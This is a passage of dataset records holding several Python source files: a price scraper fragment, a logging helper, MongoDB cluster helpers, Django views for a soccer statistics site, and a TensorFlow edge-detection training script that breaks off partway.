every_product.get(\"Price\"))\r\n\r\n\r\n        if float(every_product.get(\"Price\"))<=every_product.get(\"Target_price\"):\r\n            print(\"Less than target price\")\r\n            result_file.write(Product_name+' - '+'Less than target price.\\n'+'Previous price-'+ every_product.get(\"Price\")+'\\n')\r\n        else:\r\n            print(\"Still at current price\")\r\n\r\nfinally:\r\n    result_file.close()\r\n", "repo_name": "AdithyaMarla/WebScrapingProject", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1890, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 37, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 38, "usage_type": "call"}]}
{"seq_id": "20177498223", "text": "# encoding=utf-8\n__author__ = 'YiTao'\n\nimport os\nimport sys\nimport logging\nfrom datetime import *\n\n\nclass LogHelper:\n    def __init__(self):\n        self.log = self.getlog()\n\n    def info(self, message):\n        self.log.info(message)\n\n    def error(self, message):\n        self.log.error(message)\n\n    def getlog(self):\n        logger = logging.getLogger(\"LogHelper\")\n        formatter = logging.Formatter('%(name)-12s %(asctime)s %(levelname)-8s %(message)s', '%a, %d %b %Y %H:%M:%S', )\n        logpath = self.getcurrpath() + \"/log\"\n        if not os.path.exists(logpath):\n            os.mkdir(logpath)\n        file_handler = logging.FileHandler(logpath + \"/%s.log\" % date.today())\n        file_handler.setFormatter(formatter)\n        logger.addHandler(file_handler)\n        logger.setLevel(logging.DEBUG)\n        return logger\n\n    def getcurrpath(self):\n        #获取脚本路径\n        path = sys.path[0]\n        ##判断为脚本文件还是py2exe编译后的文件，如果是脚本文件，则返回的是脚本的目录，如果是py2exe编译后的文件，则返回的是编译后的文件路径\n        if os.path.isdir(path):\n            return path\n        elif os.path.isfile(path):\n            return os.path.dirname(path)", "repo_name": "mike-hmr/Python-PythonDemo", "sub_path": "loghelper.py", "file_name": "loghelper.py", "file_ext": "py", "file_size_in_byte": 1241, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 21, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 25, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 26, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 29, "usage_type": "attribute"}, {"api_name": "sys.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}]}
{"seq_id": "20622106705", "text": "from datetime import datetime\n\nfrom bson import ObjectId\n\nimport ext_requests.mongodb_client as db\n\n\ndef mongo_upsert_cluster(cluster_ip, message):\n    db.app.logger.info(\"MONGODB - upserting cluster...\")\n    clusters = db.mongo_clusters.db.clusters\n    cluster_info = message['cluster_info']\n    cluster_name = message['cluster_name']\n    cluster_location = message['cluster_location']\n    cluster_port = message['manager_port']\n    result_obj = clusters.update_one({'cluster_name': cluster_name},\n                                     {'$set': {'ip': cluster_ip, 'clusterinfo': cluster_info, 'port': cluster_port,\n                                               'cluster_location': cluster_location}},\n                                     upsert=True)\n\n    cluster_obj = clusters.find_one({'cluster_name': cluster_name})\n\n    db.app.logger.info(\"MONGODB - cluster_id: {0}\".format(cluster_obj['_id']))\n    return cluster_obj['_id']\n\n\ndef mongo_find_cluster_by_id(cluster_id):\n    return db.mongo_clusters.db.clusters.find_one(ObjectId(cluster_id))\n\n\ndef mongo_find_cluster_by_ip(cluster_ip):\n    return db.mongo_clusters.db.clusters.find_one({'ip': cluster_ip})\n\n\ndef mongo_get_all_clusters():\n    return db.mongo_clusters.db.clusters.find()\n\n\ndef mongo_find_one_cluster():\n    \"\"\"Finds first cluster occurrence\"\"\"\n    return db.mongo_clusters.db.clusters.find_one()\n\n\ndef mongo_find_all_active_clusters():\n    db.app.logger.info('Finding the active cluster orchestrators...')\n    now_timestamp = datetime.now().timestamp()\n    return db.mongo_clusters.db.clusters.find(\n        {'last_modified_timestamp': {'$gt': now_timestamp - db.CLUSTERS_FRESHNESS_INTERVAL}})\n\n\ndef mongo_find_cluster_by_id_and_incr_node(c_id):\n    return db.mongo_clusters.db.clusters.update_one({'_id': c_id}, {'$inc': {'nodes': 1}}, upsert=True)\n\n\ndef mongo_find_cluster_by_id_and_set_number_of_nodes(c_id, number_of_nodes):\n    return db.mongo_clusters.db.clusters.update_one({'_id': c_id}, {'$inc': {'nodes': number_of_nodes}}, upsert=True)\n\n\ndef mongo_find_cluster_by_id_and_decr_node(c_id):\n    return db.mongo_clusters.db.clusters.update_one({'_id': c_id}, {'$inc': {'nodes': -1}}, upsert=True)\n\n\ndef mongo_find_cluster_by_location(location):\n    try:\n        return db.mongo_clusters.db.clusters.find_one({'cluster_location': location})\n    except Exception as e:\n        return \"Error\"\n\n\ndef mongo_update_cluster_information(cluster_id, data):\n    \"\"\"Save aggregated Cluster Information\"\"\"\n\n    datetime_now = datetime.now()\n    datetime_now_timestamp = datetime.timestamp(datetime_now)\n\n    cpu_percent = data.get('cpu_percent')\n    cpu_cores = data.get('cpu_cores')\n    memory_percent = data.get('memory_percent')\n    memory_in_mb = data.get('cumulative_memory_in_mb')\n    nodes = data.get('number_of_nodes')\n    gpu_cores = data.get('gpu_cores')\n    gpu_percent = data.get('gpu_percent')\n    # technology = data.get('technology')\n    virtualization = data.get('virtualization')\n    more = data.get('more')\n    worker_groups = data.get('worker_groups')\n    cpu_update = {'value': cpu_percent, 'timestamp': datetime_now_timestamp}\n    memory_update = {'value': memory_percent, 'timestamp': datetime_now_timestamp}\n\n\n    db.mongo_clusters.db.clusters.find_one_and_update(\n        {'_id': ObjectId(cluster_id)},\n        {\n            '$push': {\n                \"cpu_history\": {'$each': [cpu_update], '$slice': -100},\n                \"memory_history\": {'$each': [memory_update], '$slice': -100}\n            },\n            '$set': {'aggregated_cpu_percent': cpu_percent, 'total_cpu_cores': cpu_cores,\n                  'total_gpu_cores': gpu_cores, 'total_gpu_percent': gpu_percent,\n                  'aggregated_memory_percent': memory_percent, 'memory_in_mb': memory_in_mb,\n                  'active_nodes': nodes, 'virtualization': virtualization, 'more': more,\n                  'last_modified': datetime_now, 'last_modified_timestamp': datetime_now_timestamp,\n                  'worker_groups': worker_groups}},\n        upsert=True)\n", "repo_name": "oakestra/oakestra", "sub_path": "root_orchestrator/system-manager-python/ext_requests/cluster_db.py", "file_name": "cluster_db.py", "file_ext": "py", "file_size_in_byte": 4016, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 29, "dataset": "github-code", "pt": "71", "api": [{"api_name": "ext_requests.mongodb_client.app.logger.info", "line_number": 9, "usage_type": "call"}, {"api_name": "ext_requests.mongodb_client.app", "line_number": 9, "usage_type": "attribute"}, {"api_name": "ext_requests.mongodb_client", "line_number": 9, "usage_type": "name"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters", "line_number": 10, "usage_type": "attribute"}, {"api_name": "ext_requests.mongodb_client", "line_number": 10, "usage_type": "name"}, {"api_name": "ext_requests.mongodb_client.app.logger.info", "line_number": 22, "usage_type": "call"}, {"api_name": "ext_requests.mongodb_client.app", "line_number": 22, "usage_type": "attribute"}, {"api_name": "ext_requests.mongodb_client", "line_number": 22, "usage_type": "name"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters.db.clusters.find_one", "line_number": 27, "usage_type": "call"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters", "line_number": 27, "usage_type": "attribute"}, {"api_name": "ext_requests.mongodb_client", "line_number": 27, "usage_type": "name"}, {"api_name": "bson.ObjectId", "line_number": 27, "usage_type": "call"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters.db.clusters.find_one", "line_number": 31, "usage_type": "call"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters", "line_number": 31, "usage_type": "attribute"}, {"api_name": "ext_requests.mongodb_client", "line_number": 31, "usage_type": "name"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters.db.clusters.find", "line_number": 35, "usage_type": "call"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters", "line_number": 35, "usage_type": "attribute"}, {"api_name": "ext_requests.mongodb_client", "line_number": 35, "usage_type": "name"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters.db.clusters.find_one", "line_number": 40, "usage_type": "call"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters", "line_number": 40, "usage_type": "attribute"}, {"api_name": "ext_requests.mongodb_client", "line_number": 40, "usage_type": "name"}, {"api_name": "ext_requests.mongodb_client.app.logger.info", "line_number": 44, "usage_type": "call"}, {"api_name": "ext_requests.mongodb_client.app", "line_number": 44, "usage_type": "attribute"}, {"api_name": "ext_requests.mongodb_client", "line_number": 44, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 45, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 45, "usage_type": "name"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters.db.clusters.find", "line_number": 46, "usage_type": "call"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters", "line_number": 46, "usage_type": "attribute"}, {"api_name": "ext_requests.mongodb_client", "line_number": 46, "usage_type": "name"}, {"api_name": "ext_requests.mongodb_client.CLUSTERS_FRESHNESS_INTERVAL", "line_number": 47, "usage_type": "attribute"}, {"api_name": "ext_requests.mongodb_client", "line_number": 47, "usage_type": "name"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters.db.clusters.update_one", "line_number": 51, "usage_type": "call"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters", "line_number": 51, "usage_type": "attribute"}, {"api_name": "ext_requests.mongodb_client", "line_number": 51, "usage_type": "name"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters.db.clusters.update_one", "line_number": 55, "usage_type": "call"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters", "line_number": 55, "usage_type": "attribute"}, {"api_name": "ext_requests.mongodb_client", "line_number": 55, "usage_type": "name"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters.db.clusters.update_one", "line_number": 59, "usage_type": "call"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters", "line_number": 59, "usage_type": "attribute"}, {"api_name": "ext_requests.mongodb_client", "line_number": 59, "usage_type": "name"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters.db.clusters.find_one", "line_number": 64, "usage_type": "call"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters", "line_number": 64, "usage_type": "attribute"}, {"api_name": "ext_requests.mongodb_client", "line_number": 64, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 72, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 72, "usage_type": "name"}, {"api_name": "datetime.datetime.timestamp", "line_number": 73, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 73, "usage_type": "name"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters.db.clusters.find_one_and_update", "line_number": 90, "usage_type": "call"}, {"api_name": "ext_requests.mongodb_client.mongo_clusters", "line_number": 90, "usage_type": "attribute"}, {"api_name": "ext_requests.mongodb_client", "line_number": 90, "usage_type": "name"}, {"api_name": "bson.ObjectId", "line_number": 91, "usage_type": "call"}]}
{"seq_id": "8444218647", "text": "import datetime\n\nfrom django.db import models\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom django.template import RequestContext\nfrom django.views.decorators.cache import cache_page\n\nfrom bios.models import Bio\nfrom competitions.models import Competition\nfrom games.models import Game, GameSource\nfrom goals.models import Goal\nfrom standings.models import Standing\nfrom stats.models import Stat, CareerStat\nfrom teams.models import Team\n\nfrom collections import defaultdict, Counter\nimport json\n\n\ndef homepage(request):\n\n    try:\n        mls = Competition.objects.get(slug='major-league-soccer')\n    except:\n        mls = None\n\n    context = {\n        'mls': mls,\n        }\n\n    return render_to_response(\"homepage.html\",\n                              context,\n                              context_instance=RequestContext(request))\n        \n\n\n@cache_page(60 * 60 * 12)\ndef homepage_old(request):\n    \"\"\"\n    The site homepage. Currently badly underperfoming.\n    \"\"\"\n\n    # Homepage fixes.\n    # Shrink the size of the On This Day Box, move lower.\n    # Add Standings.\n    # Add tab for games from different competitions.\n    # Add News\n    # Add detailed links to different parts of the website.\n\n    # What are the cool things you can get on the site?\n    # Player +/-\n    # Manager details\n    # Career stats\n    # Stats across competitions\n    # Breadcrumbs?\n\n    today = datetime.date.today()\n\n    game_leaders = CareerStat.objects.exclude(games_played=None).order_by('-games_played')[:10]\n    goal_leaders = CareerStat.objects.exclude(goals=None).order_by('-goals')[:10]\n\n    recent_games = Game.objects.exclude(date=None).filter(date__lt=today).exclude(team1_result='').order_by('-date')[:10]\n\n    goals = Goal.objects.count()\n\n\n    try:\n        mls_game = Game.objects.filter(competition__slug='major-league-soccer').order_by('date')[0]\n    except:\n        mls_game = None\n\n    try:\n        oc_game = Game.objects.get(competition__slug='us-open-cup', season__name='1924', round='f')\n    except:\n        oc_game = None\n\n    context = {\n        'today': today,\n        'born': Bio.objects.born_on(today.month, today.day),\n        'games': recent_games,\n        'standings': Standing.objects.filter(season__competition__slug='major-league-soccer').count(), \n        'game_leaders': game_leaders,\n        'goal_leaders': goal_leaders,\n        'game_count': Game.objects.count(),\n        'bio_count': Bio.objects.count(),\n        'team_count': Team.objects.count(),\n        'competition_count': Competition.objects.count(),\n\n        'mls_game': mls_game,\n        'oc_game': oc_game,\n        \n        }\n    return render_to_response(\"homepage.html\",\n                              context,\n                              context_instance=RequestContext(request))\n\ndef bad_games(request):\n    \n    context = {\n        'duplicate_games': Game.objects.duplicate_games(),\n        }\n\n    return render_to_response(\"games/bad.html\",\n                              context,\n                              context_instance=RequestContext(request)\n                              )    \n\n    \n\ndef games_index(request):\n    # Add a paginator.\n    # This is probably unnecesary.\n    # Consider turning into a games analysis page.\n    # Home/Away advantage, graphs, etc.\n    \n    games = Game.objects.order_by(\"-date\").exclude(date=None)\n    game_count = games.count()\n\n    by_year = Counter([e.year for e in games.values_list('date', flat=True)])\n\n    #gd = defaultdict(int)\n    #ceiling = 8\n    #for game in games.exclude(home_team=None).exclude(team1_score=None).exclude(team2_score=None):\n    #    gd[(min(game.home_score(), ceiling), min(game.away_score(), ceiling))] += 1\n\n    context = {\n        'games': games,\n        'game_count': game_count,\n        'games_by_year': json.dumps(sorted(by_year.items())),\n        'goal_distribution': json.dumps(gd),\n        }\n\n    return render_to_response(\"games/index.html\",\n                              context,\n                              context_instance=RequestContext(request))\n\n    \"\"\"\n    attendance_game_count = 0\n    total_attendance = 0\n\n    month_dict = defaultdict(int)\n    team_dict = defaultdict(int)\n    result_dict = defaultdict(int)\n\n    game_year_dict = defaultdict(int)\n    attendance_year_dict = defaultdict(int)\n\n    # Pull this out.\n    for date, t1, t2, t1s, t2s, stadium, city, attendance in games.values_list('date', 'team1', 'team2', 'team1_score', 'team2_score', 'stadium', 'city', 'attendance'):\n        total_attendance += attendance or 0\n        attendance_year_dict[date.year] += attendance or 0\n        if attendance is not None:\n            attendance_game_count += 1\n\n        game_year_dict[date.year] += 1\n\n        month_dict[date.month] += 1\n        team_dict[t1] += 1\n        team_dict[t2] += 1\n        result = tuple(sorted([t1s, t2s]))\n        result_dict[result] += 1\n        \"\"\"\n\n\n\n    \"\"\"{\n        'total_attendance': total_attendance,\n        'average_attendance': total_attendance / float(attendance_game_count),\n        'teams': sorted(team_dict.items(), key=lambda t: -t[1]),\n        'results': sorted(result_dict.items(), key=lambda t: t[0]),\n        'months': sorted(month_dict.items(), key=lambda t: t[0]),\n        'game_years': sorted(game_year_dict.items(), key=lambda t: t[0]),\n        'attendance_years': sorted(attendance_year_dict.items(), key=lambda t: t[0]),\n        'top_attendance_games': Game.objects.order_by('-attendance')[:20],\n        }\"\"\"\n\n\ndef game_detail(request, game_id):\n    game = get_object_or_404(Game, id=game_id)\n    context = {\n        'game': game,\n        'goals': game.goal_set.order_by('minute'),\n        'game_sources': GameSource.objects.filter(game=game),\n\n        }\n    return render_to_response(\"games/detail.html\",\n                              context,\n                              context_instance=RequestContext(request))\n\n\n\n\ndef random_game_detail(request):\n    import random\n    games = Game.objects.count()\n    game_id = random.randint(1, games)\n    return game_detail(request, game_id)\n\n\n\n", "repo_name": "SoccerStatsUS/s2", "sub_path": "games/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 6044, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "competitions.models.Competition.objects.get", "line_number": 23, "usage_type": "call"}, {"api_name": "competitions.models.Competition.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "competitions.models.Competition", "line_number": 23, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 31, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 33, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 57, "usage_type": "attribute"}, {"api_name": "stats.models.CareerStat.objects.exclude", "line_number": 59, "usage_type": "call"}, {"api_name": "stats.models.CareerStat.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "stats.models.CareerStat", "line_number": 59, "usage_type": "name"}, {"api_name": "stats.models.CareerStat.objects.exclude", "line_number": 60, "usage_type": "call"}, {"api_name": "stats.models.CareerStat.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "stats.models.CareerStat", "line_number": 60, "usage_type": "name"}, {"api_name": "games.models.Game.objects.exclude", "line_number": 62, "usage_type": "call"}, {"api_name": "games.models.Game.objects", "line_number": 62, "usage_type": "attribute"}, {"api_name": "games.models.Game", "line_number": 62, "usage_type": "name"}, {"api_name": "goals.models", "line_number": 64, "usage_type": "name"}, {"api_name": "goals.models.Goal.objects.count", "line_number": 64, "usage_type": "call"}, {"api_name": "goals.models.Goal.objects", "line_number": 64, "usage_type": "attribute"}, {"api_name": "goals.models.Goal", "line_number": 64, "usage_type": "name"}, {"api_name": "games.models.Game.objects.filter", "line_number": 68, "usage_type": "call"}, {"api_name": "games.models.Game.objects", "line_number": 68, "usage_type": "attribute"}, {"api_name": "games.models.Game", "line_number": 68, "usage_type": "name"}, {"api_name": "games.models.Game.objects.get", "line_number": 73, "usage_type": "call"}, {"api_name": "games.models.Game.objects", "line_number": 73, "usage_type": "attribute"}, {"api_name": "games.models.Game", "line_number": 73, "usage_type": "name"}, {"api_name": "bios.models.Bio.objects.born_on", "line_number": 79, "usage_type": "call"}, {"api_name": "bios.models.Bio.objects", "line_number": 79, "usage_type": "attribute"}, {"api_name": "bios.models.Bio", "line_number": 79, "usage_type": "name"}, {"api_name": "standings.models.Standing.objects.filter", "line_number": 81, "usage_type": "call"}, {"api_name": "standings.models.Standing.objects", "line_number": 81, "usage_type": "attribute"}, {"api_name": "standings.models.Standing", "line_number": 81, "usage_type": "name"}, {"api_name": "games.models.Game.objects.count", "line_number": 84, "usage_type": "call"}, {"api_name": "games.models.Game.objects", "line_number": 84, "usage_type": "attribute"}, {"api_name": "games.models.Game", "line_number": 84, "usage_type": "name"}, {"api_name": "bios.models.Bio.objects.count", "line_number": 85, "usage_type": "call"}, {"api_name": "bios.models.Bio.objects", "line_number": 85, "usage_type": "attribute"}, {"api_name": "bios.models.Bio", "line_number": 85, "usage_type": "name"}, {"api_name": "teams.models.Team.objects.count", "line_number": 86, "usage_type": "call"}, {"api_name": "teams.models.Team.objects", "line_number": 86, "usage_type": "attribute"}, {"api_name": "teams.models.Team", "line_number": 86, "usage_type": "name"}, {"api_name": "competitions.models.Competition.objects.count", "line_number": 87, "usage_type": "call"}, {"api_name": "competitions.models.Competition.objects", "line_number": 87, "usage_type": "attribute"}, {"api_name": "competitions.models.Competition", "line_number": 87, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 93, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 95, "usage_type": "call"}, {"api_name": "django.views.decorators.cache.cache_page", "line_number": 37, "usage_type": "call"}, {"api_name": "games.models.Game.objects.duplicate_games", "line_number": 100, "usage_type": "call"}, {"api_name": "games.models.Game.objects", "line_number": 100, "usage_type": "attribute"}, {"api_name": "games.models.Game", "line_number": 100, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 103, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 105, "usage_type": "call"}, {"api_name": "games.models", "line_number": 116, "usage_type": "name"}, {"api_name": "games.models.Game.objects.order_by", "line_number": 116, "usage_type": "call"}, {"api_name": "games.models.Game.objects", "line_number": 116, "usage_type": "attribute"}, {"api_name": "games.models.Game", "line_number": 116, "usage_type": "name"}, {"api_name": "games.models.count", "line_number": 117, "usage_type": "call"}, {"api_name": "games.models", "line_number": 117, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 119, "usage_type": "call"}, {"api_name": "games.models.values_list", "line_number": 119, "usage_type": "call"}, {"api_name": "games.models", "line_number": 119, "usage_type": "name"}, {"api_name": "games.models", "line_number": 127, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 129, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 130, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 133, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 135, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 179, "usage_type": "call"}, {"api_name": "games.models.Game", "line_number": 179, "usage_type": "argument"}, {"api_name": "games.models.GameSource.objects.filter", "line_number": 183, "usage_type": "call"}, {"api_name": "games.models.GameSource.objects", "line_number": 183, "usage_type": "attribute"}, {"api_name": "games.models.GameSource", "line_number": 183, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 186, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 188, "usage_type": "call"}, {"api_name": "games.models", "line_number": 195, "usage_type": "name"}, {"api_name": "games.models.Game.objects.count", "line_number": 195, "usage_type": "call"}, {"api_name": "games.models.Game.objects", "line_number": 195, "usage_type": "attribute"}, {"api_name": "games.models.Game", "line_number": 195, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 196, "usage_type": "call"}, {"api_name": "games.models", "line_number": 196, "usage_type": "argument"}]}
{"seq_id": "42190612784", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Remarks\n# \n# * Data normalization\n#     * Mobilenet expects data from -1 to 1\n#         * Normalize Input Data or Include in Model\n#         * TFLite Conversion must fit according to decision\n#     * Ground Truth Data: for better inspection Data multiplied by 80. Undo the change in the Data Input Pipeline\n# * Overview in Tutorials:\n#     * tf.function\n#     * Repeat addapted Version of using Build in methods for training, ...\n#     * Save models using keras\n#         * CaseNet first real model: check in implementation of Frey if a Layer needs to be written\n#         * other Example: depth seperable dilated convolution,\n# * Idea\n#     * Loss\n#         * Focal Loss: for imbalanced Data\n#         * In general Loss: just now weight in each dependent on number of Edge Pixels\n\n# # Libraries\n\n# In[1]:\n\n\n#!for a in /sys/bus/pci/devices/*; do echo 0 | sudo tee -a $a/numa_node; done\n\nimport tensorflow as tf\nimport numpy as np\nimport os\nimport time\nfrom datetime import datetime\nimport sys\nimport matplotlib.pyplot as plt\nimport argparse\n\nimport DataProcessing.data_processing as data_processing\nimport Nets.backbones as backbones\nimport Nets.features as features\nimport Nets.losses as losses\nimport Nets.metrics as metrics\nimport Nets.visualize as visualize\nimport Nets.tools as tools\n\n\nos.environ['TF_FORCE_GPU_ALLOW_GROWTH'] = 'true'\n\n#np.set_printoptions(threshold=sys.maxsize)\n\n\n# # Parser\n\n# In[2]:\n\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('--model', type=str, required=False, default=None)\nparser.add_argument('--data', type=str, required=False, default=None)\n\nparser.add_argument('--bs', type=int, required=False, default=None)\nparser.add_argument('--idx', type=int, required=False, default=None)\nparser.add_argument('--epoch', type=int, required=False, default=None)\nparser.add_argument('--noise', type=float, required=False, default=None)\n\nparser.add_argument('--train_model', action='store_true', default=False)\nparser.add_argument('--cache', action='store_true', default=False)\nparser.add_argument('--save', action='store_true', default=False)\nparser.add_argument('--sigmoid', action='store_true', default=False)\nparser.add_argument('--focal', action='store_true', default=False)\n\nparser.add_argument('--beta_upper', type=float, required=False, default=None)\nparser.add_argument('--gamma', type=float, required=False, default=None)\nparser.add_argument('--alpha', type=float, required=False, default=None)\n\nfile_name = None\ntry:\n    file_name = __file__\nexcept:\n    print(\"Jupyter Notebook\")\n       \nif file_name is None:\n    args = parser.parse_args(\"\")\n    args.train_model = True\n    args.cache = True\n    #args.save = True\n    args.save = False\n    args.sigmoid = False\n    args.focal = True\nelse:    \n    args = parser.parse_args()\n\n\n# # Options\n\n# In[3]:\n\n\n# Generall Parameters\nMODEL= 'CASENET_FOCAL_LOSS_0.7_g2_a2_random' if args.model is None else args.model\nDATA= 'SceneNetFloorTiledTextureRandom' if args.data is None else args.data\n#DATA = 'RealRed'\nTRAIN_DS ='Train'\nTEST_DS = 'Test'\nHALF = True\n\n# Dataset Loading Parameters\nIMG_SIZE_HEIGHT = 1280\nIMG_SIZE_WIDTH = 720\nNUM_CLASSES = 3\nMAX_IMG_TRAIN = 500\nMAX_IMG_TEST = 300\nSEED = None\nBATCH_SIZE = 3 if args.bs is None else args.bs\nCACHE = args.cache\nNOISE_STD = 0.0 if args.noise is None else args.noise\n\n# Model Parameters\nBACKBONE = \"RESNet50\"\nBACKBONE_OUTPUT = [0,1,2,4]\nBACKBONE_WEIGHTS = \"imagenet\"\nALPHA = 1\nFINE_TUNING = False\nFINE_TUNE_EPOCHS = 10\nTRAINABLE_IDX = 0 if args.idx is None else args.idx # (3-1), as indexing starts at 0\nEPOCHS = 80 if args.epoch is None else args.epoch\nSAVE = args.save\nTRAIN_MODEL = args.train_model\n\n#Model Callback\nMODEL_SAVE_EPOCH_FREQ = 5\nDEL_OLD_CHECKPOINTS = False\nTENSORBOARD = False\nDEL_OLD_TENSORBOARD = True\n\n# LOSS\nweighted_multi_label_sigmoid_edge_loss = args.sigmoid\nfocal_loss = args.focal\n\nbeta_upper = 0.7 if args.beta_upper is None else args.beta_upper\nbeta_lower = 1.0 - beta_upper\ngamma=2.0 if args.gamma is None else args.gamma \nalpha=2.0 if args.alpha is None else args.alpha\nclass_weighted = True\nweighted_beta=True\n\n\n# All Pixels have been labeled correctly and thus we don't need to account shifted labels \n# and a protection band around the labels for the calculation of the metrics\n\n# In the work of Frey he mentioned that state of the Art ? is 2% of diagonal. \n# He takes 1%, I sugest to take a threshold of 3 Pixels. \n#I don't think that I made more then 3 Pixel mistake in labeling and tracking. Thus this is 0.4%\nTHRESHOLD_EDGE_WIDTH_REAL = 2\n\n# Data Augmentation:\naug_param = {\"contrast_factor\": 0.8, \"brightness\": 0.2, \"hue\": 0.05, \"saturation\": 0.8, \"gaussian_value\": 0.015,\n            \"value\": 0.1, \"strength_spot\": 0.5, \"blur\": False, \"sigma\": 1.0}\n\n#TESTING\ntest = False\nif test:\n    EPOCHS = 10\n    MAX_IMG_TRAIN = 18\n    MAX_IMG_TEST = 3\n\n\n# # Load Dataset, Preprocess Images and Dataset\n\n# In[5]:\n\n\ntf.random.set_seed(SEED)\n\npaths, files = data_processing.path_definitions(HALF, MODEL, DATA, TRAIN_DS, TEST_DS, make_dirs=True)\n\ndata_processing.clean_model_directories(paths, DEL_OLD_CHECKPOINTS, DEL_OLD_TENSORBOARD)\n\nif TRAIN_MODEL:\n    \n    rng = tf.random.Generator.from_seed(123, alg='philox')\n\n\n    train_ds, img_count_train = data_processing.load_dataset(paths,\"TRAIN\", IMG_SIZE_HEIGHT, IMG_SIZE_WIDTH, HALF, \n                                                             MAX_IMG_TRAIN, noise_std=NOISE_STD)\n    train_ds = data_processing.dataset_processing(train_ds, cache=CACHE, shuffle=True, batch_size=BATCH_SIZE, prefetch=True, \n                                                  img_count=img_count_train, augment=True, rng=rng, aug_param=aug_param)\n\ntest_ds, img_count_test = data_processing.load_dataset(paths,\"TEST\", IMG_SIZE_HEIGHT, IMG_SIZE_WIDTH, HALF, \n                                                       MAX_IMG_TEST, noise_std=None)\ntest_ds = data_processing.dataset_processing(test_ds, cache=CACHE, shuffle=False, batch_size=BATCH_SIZE, prefetch=True, \n                                             img_count=img_count_test)\n\n\n# In[6]:\n\n\nDATA_REAL = 'RealRed'\nTRAIN_REAL = 'Train'\nTEST_REAL = 'Test'\nTEST_HARD_REAL = 'Test Hard'\nIMG_ONLY_REAL = 'Img Only'\nBS_REAL = 8\n\npaths_real, files_real = data_processing.path_definitions(HALF, MODEL, DATA_REAL, TRAIN_REAL, TEST_REAL, TEST_HARD_REAL, IMG_ONLY_REAL, make_dirs=False)\n\ntest_real_ds, img_count_test_real = data_processing.load_dataset(paths_real,\"TEST\", IMG_SIZE_HEIGHT, IMG_SIZE_WIDTH, HALF, MAX_IMG_TEST)\ntest_real_ds = data_processing.dataset_processing(test_real_ds, cache=False, shuffle=False, batch_size=BS_REAL, prefetch=False, img_count = img_count_test_real)\n\n\n# In[8]:\n\n\n#for image,label in train_ds.take(1):\n#        image, mask = image,label\n#plt.figure(figsize=(10,20))\n#plt.imshow(tf.keras.preprocessing.image.array_to_img(image[0, :, :, :]))\n\n\n#for image,label in train_ds.take(1):\n#    sample_image, sample_mask = 